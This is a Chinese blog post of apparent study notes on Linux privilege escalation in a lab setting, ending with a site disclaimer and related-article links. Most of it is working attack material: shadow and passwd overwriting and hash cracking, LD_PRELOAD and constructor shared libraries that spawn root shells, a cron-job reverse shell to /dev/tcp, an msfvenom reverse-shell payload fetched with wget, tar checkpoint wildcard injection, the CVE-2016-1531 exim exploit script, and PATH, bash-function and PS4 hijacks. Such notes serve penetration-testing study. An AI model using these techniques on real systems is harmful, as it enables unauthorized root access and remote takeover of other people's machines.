红笔Linux提权总结(上)

2025-02-14 30 0

一、shadow和passwd利用

1、可读shadow文件利用提权
$ cat /etc/shadow | grep ':\$' > hash	//提取普通用户和root的shadow保存到hash文件中
$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash
2、可写shadow文件利用提权(利用可写权限将root用户密码切换成自己的)
$ ls -liah /etc/shadow		
785007 -rw-r--rw- 1 root shadow 1.5K 10月 7日 16:36 /etc/shadow
$ cp /etc/shadow /tmp/shadow.bak	//备份文件
$ hash-identifier '哈希值'		//先判断加密方式(可能不准,也可能识别不出)
$ mkpasswd -m 加密方式 密码	//利用mkpasswd生成加密的密码哈希值
再将可写的shadow文件中root的哈希值替换为我们生成的哈希值,登录root即可提权成功。
3、可写passwd文件利用提权(直接将生成的哈希值写在占位符x的位置)
$ ls -liah /etc/passwd
787915 -rw-r--rw- 1 root root 3.1K 10月 7日 16:35 /etc/passwd
$ cp /etc/passwd /tmp/passwd.bak
$ openssl passwd 密码		//生成密码哈希(使用mkpasswd也可以)
再写到passwd中替换x,登录root即可提权成功。

二、sudo环境变量提权

$ sudo -l		//查看当前用户可以执行哪些系统命令
Matching Defaults entries for user on this host:
	env_reset, env_keep+=LD_PRELOAD
User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/iftop
    (root) NOPASSWD:/usr/bin/find
    (root)	NOPASSWD:/usr/bin/nano	
    (root)	NOPASSWD:/usr/bin/vim	
    (root)	NOPASSWD:/usr/bin/man	
    (root)	NOPASSWD:/usr/bin/awk	
    (root)	NOPASSWD:/usr/bin/less	
    (root)	NOPASSWD:/usr/bin/ftp	
    (root)	NOPASSWD:/usr/bin/nmap	
    (root)	NOPASSWD:/usr/sbin/apache2	
    (root)	NOPASSWD:/bin/more

env_reset 表示重置环境变量,用sudo执行命令时把之前的环境变量清除。

env_keep+=LD_PRELOAD 在保持原有环境变量的同时,增加动态链接器,预加载共享库,有这个选项就可以用来提权。 LD为linker dynamic动态链接器,LD_PRELOAD 是一个用于加载共享库的环境变量,通常在运行程序之前设置,以便在程序启动时预先加载指定的库。

$ vi shell.c	//定义一个共享库 
    #include <stdio.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <unistd.h>

	//预加载,优先于main函数执行
    void _init() {
            unsetenv("LD_PRELOAD"); //只执行一次即可,所以把预加载环境卸掉
            setgid(0);
            setuid(0);
           	system("/bin/bash");

$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
//-fPIC:生成与位置无关的代码,允许共享库在内存中的任何位置加载和执行。-shared:生成一个共享库而不是可执行文件。-nostartfiles:不使用标准系统启动文件,用于自定义启动代码。

$ sudo LD_PRELOAD=./shell.so find	//利用find的sudo权限执行之前,预加载LD,从而提权。虽然在上述sudo -l的结果中,find本身就可以提权。

三、自动任务提权

1、自动任务文件权限提权(利用可写权限构造反弹shell)
$ cat /etc/crontab 		//查看自动任务
    SHELL=/bin/sh
	PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
    # m h dom mon dow user	command	
    17*	***	root	cd / sg run-parts --report /etc/cron.hourly	
    25 6	***	root	test -x /usr/sbin/anacron ll ( cd / sg run-parts --report /etc/cron.daily )	
    47 6	**7	root	test -x /usr/sbin/anacron	l ( cd / sg run-parts --report /etc/cron.weekly )	
    52 6	1**	root	test -x /usr/sbin/anacron ll ( cd / sg run-parts --report /etc/cron.monthly )	
    #
    * * * * * root overwrite.sh
    * * * * * root /usr/local/bin/compress.sh 

$ locate overwrite.sh
	/usr/local/bin/overwrite.sh
	
$ ls -liah /usr/local/bin/overwrite.sh
    816761 -rwxr--rw- 1 root staff 40 May 13 2017/usr/local/bin/overwrite.sh 

$ cat /usr/local/bin/overwrite.sh
	#!/bin/bash
    echo`date` > /tmp/useless

$ nc -lvnp 端口	//监听端口,等待反弹shell连接

$ vim /usr/local/bin/overwrite.sh
	#!/bin/bash
    bash -i >& /dev/tcp/IP/端口 0>&1		//利用可写权限构造反弹shell
2、自动任务PATH环境变量提权
$ cat /etc/crontab 		
    SHELL=/bin/sh
	PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
	* * * * * root overwrite.sh
	* * * * * root /usr/local/bin/compress.sh
	
$ locate overwrite.sh
	/usr/local/bin/overwrite.sh		//将overwrite.sh写入/home/user,即可优先执行。crontab使用自动任务中的路径,而不是用户自定义的路径。
	
$ cd /home/user
$ vim overwrite.sh
	#!/bin/bash
	cp /bin/bash /tmp/bash	
	chmod +xs /tmp/bash
	
$ chmod +x overwrite.sh
$ /tmp/bash -p	 //过一分钟后,执行即可提权成功
3、自动任务通配符提权
$ cat /usr/local/bin/compress.sh
    #!/bin/sh
    cd /home/user
    tar czf /tmp/backup.tar.gz *

在kali中
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.0.254 LPORT=4444 -f elf -o shell.elf	//生成一个反弹shell
# php -S 0:80	

$ wget http://192.168.0.254/shell.elf	//在靶机中下载反弹shell
$ chmod +xs shell.elf

$ touch /home/user/--checkpoint=1	
//--checkpoint是tar命令中启用检查点功能,使得 tar 在处理文件时定期输出进度信息。

$ touch /home/user/--checkpoint-action=exec=shell.elf  	//--checkpoint-action:定义在每个检查点发生时应执行的操作。exec=shell.elf:在检查点执行shell.elf。

在kali中监听4444端口,等待自动任务执行后,反弹shell连接到kali即可提权成功。

四、SUID提权

1、SUID可执行文件已知利用提权(利用/usr/sbin/exim-4.84-3文件)
$ find /-perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/sudoedit
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
/usr/local/bin/suid-so
/usr/local/bin/suid-env
/usr/local/bin/suid-env2
/usr/sbin/exim-4.84-3
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/bin/ping6
/bin/ping
/bin/mount
/bin/su
/bin/umount
/tmp/rootbash
/sbin/mount.nfs

利用exim-4.84-3
# searchsploit exim 
    Exim 4.84-3 - Local Privilege Escalation          | linux/local/39535.sh

# cat 39535.sh 
    #!/bin/sh
    # CVE-2016-1531 exim <= 4.84-3 local root exploit
    echo [ CVE-2016-1531 local root exploit
    cat > /tmp/root.pm << EOF
    package root;
    use strict;
    use warnings;
    system("/bin/sh");
    EOF
    PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps

下载到靶机上并执行即可提权成功
2、SUID共享库注入提权(利用/usr/local/bin/suid-so文件)
$ strings /usr/local/bin/suid-so
    /lib64/ld-linux-x86-64.so.2
    #eGVO CyIk
    libdl.so.2
    __gmon_start__
    _Jv_RegisterClasses 
    dlopen
    libstdc++.so.6
    _ZNSt8ios_base4InitD1Ev_ZNSolsEPFRSoS_E
    __gxx_personality_v0
    Calculating something, please wait ...
    /home/user/.config/libcalc.so 
    Done. 

//查看进程执行过程中出现的错误,并筛选出上面的路径相关的内容
$ strace /usr/local/bin/suid-so 2>&1 | grep '/home'
    open("/home/user/.config/libcalc.so",0 RDONLY)= -1 ENOENT (No such file or directory)

//当前目录为/home/user,并且没有.config目录及libcalc.so文件,所以可以自己创建对应的目录及文件,从而利用共享库文件提权。
$ ls -liah .config		
	ls:cannot access .config: No such file or directory
	
$ mkdir .config
$ cd .config
$ vim libcalc.c
    #include <stdio.h>
    #include <stdlib.h>

    static void inject() __attribute__((constructor)); 
    // __attribute__((constructor)):GCC的扩展属性,在 main 函数之前自动调用该函数。

    void inject() {
        setuid(0);
        setgid(0);
        system("/bin/bash -p");
    }

$ gcc -fPIC -shared -o libcalc.so libcalc.c		//生成共享库文件

$ /usr/local/bin/suid-so	//执行此文件即可提权成功
3、SUID环境变量利用提权(利用/usr/local/bin/suid-env)
$ /usr/local/bin/suid-env
	Starting web server: apache2httpd(pid 1596)already running
	
$ strings /usr/local/bin/suid-env
    /lib64/ld-linux-x86-64.so.2
    5q;Xq
    __gmon_start__
    libc.so.6
    setresgid
    setresuid
    system
    __libc_start_main
    GLIBC 2.2.5
    fff.
    fffff.
    l$ L
    t$(L
    |$0H
    service apache2 start	  //由于service没有用绝对路径,所以可以考虑环境变量劫持

$ vi service.c
    #include <stdio.h>
    #include <stdlib.h>

    void main(){
            setuid(0);
            setgid(0);
            system("/bin/bash -p");

$ gcc -o service service.c
$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin:/usr/local/sbin

$ export PATH=.:$PATH	//将当前路径添加到环境变量
$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin:/usr/local/sbin

再执行/usr/local/bin/suid-env,即可提权成功
4、用SUID-shell功能提权-1(利用/usr/local/bin/suid-env2)
$ strings /usr/local/bin/suid-env2
    /lib64/ld-linux-x86-64.so.2
    __gmon_start__
    libc.so.6
    setresgid
    setresuid
    system
    __libc_start_main
    GLIBC 2.2.5
    fff.
    fffff.
    l$ L
    t$(L
    |$0H
    /usr/sbin/service apache2 start

$ bash--version		//当bash版本小于4.2时,可以在bash中定义函数,用路径组合做文件名
    GNU bash,version 4.1.5(1)-release(x86 64-pc-linux-gnu)

bash命令查找的优先级为:1.别名  2.函数  3.内置命令  4.在PATH环境变量查找可执行文件。如果定义了一个函数名与 PATH 中的命令同名,那么函数将会优先于 PATH 中的可执行文件被执行。所以我们利用strings的结果,发现存在 /usr/sbin/service apache2 start命令,通过 /usr/sbin/service想到要判断bash的版本,以定义一个同名的函数做劫持。

$ function /usr/sbin/service { /bin/bash -p; }	//以文件路径名作为函数名
$ export -f /usr/sbin/service  	//导出函数,在执行以及子进程执行时,都可以引用这个函数

再执行/usr/local/bin/suid-env2,即可提权成功
5、用SUID-shell功能提权-2 (利用/usr/local/bin/suid-env2)
//当bash版本小于4.4时,可以在调试模式下对环境变量进行设置,并在其中放入提权的代码
$ bash--version
    GNU bash,version 4.1.5(1)-release(x86 64-pc-linux-gnu) 

$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/bash; chmod +xs /tmp/bash)' 
/usr/local/bin/suid-env2

env -i:清空所有环境变量,只设置在命令行中指定的环境变量。
SHELLOPTS:是 Bash 内置的一个环境变量,用于设置 shell 选项,可以设置多个选项并用:分隔。xtrace:set -x 的另一种形式,用于开启调试模式。启用时,shell 在执行每个命令之前都会将其打印到标准错误输出,可以看到每一步的实际命令及其参数,以便于调试。可以用set +x关闭调试模式。

PS是Prompt String提示字符串。PS1是主提示符,即终端提示符。PS2是续行提示符,当命令或语句没有结束,需要输入更多内容时,Bash 会使用 PS2 提示符。默认值为 > 。PS3用于 select 语句中的提示符,当你使用 select 循环来创建菜单时,PS3 会作为提示符。默认值为 #? 
PS4是调试提示符,当启用了 set -x 或 xtrace 模式时,PS4 会在每条命令前显示一些额外信息。
默认值为 + 。bash版本4.4以下,可以在PS4下加入提权命令。

/usr/local/bin/suid-env2:用其他有SUID位的文件也可以,只是借助S位来实现,与具体文件无关。

$ /tmp/bash -p 		//执行提权即可成功

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

[Meachines] [Easy] PC gRPC HTTP2 SQLI+KTOR-HTTP扫描+pyLoad 0.5.0 js2py滥用权限提升
x64环境下完全隐藏导入表技术全解析
[Meachines] [Easy] Wifinetic FTP匿名登录+Reaver WPS PIN密码泄露权限提升
[Meachines] [Easy] Horizontall Strapi RCE+KTOR-HTTP扫描+Laravel Monolog 权限提升
网络钓鱼即服务平台 Darcula 现已支持自动生成针对任何品牌的钓鱼工具包
如何依据GDPR起诉公司数据滥用与隐私侵犯行为

发布评论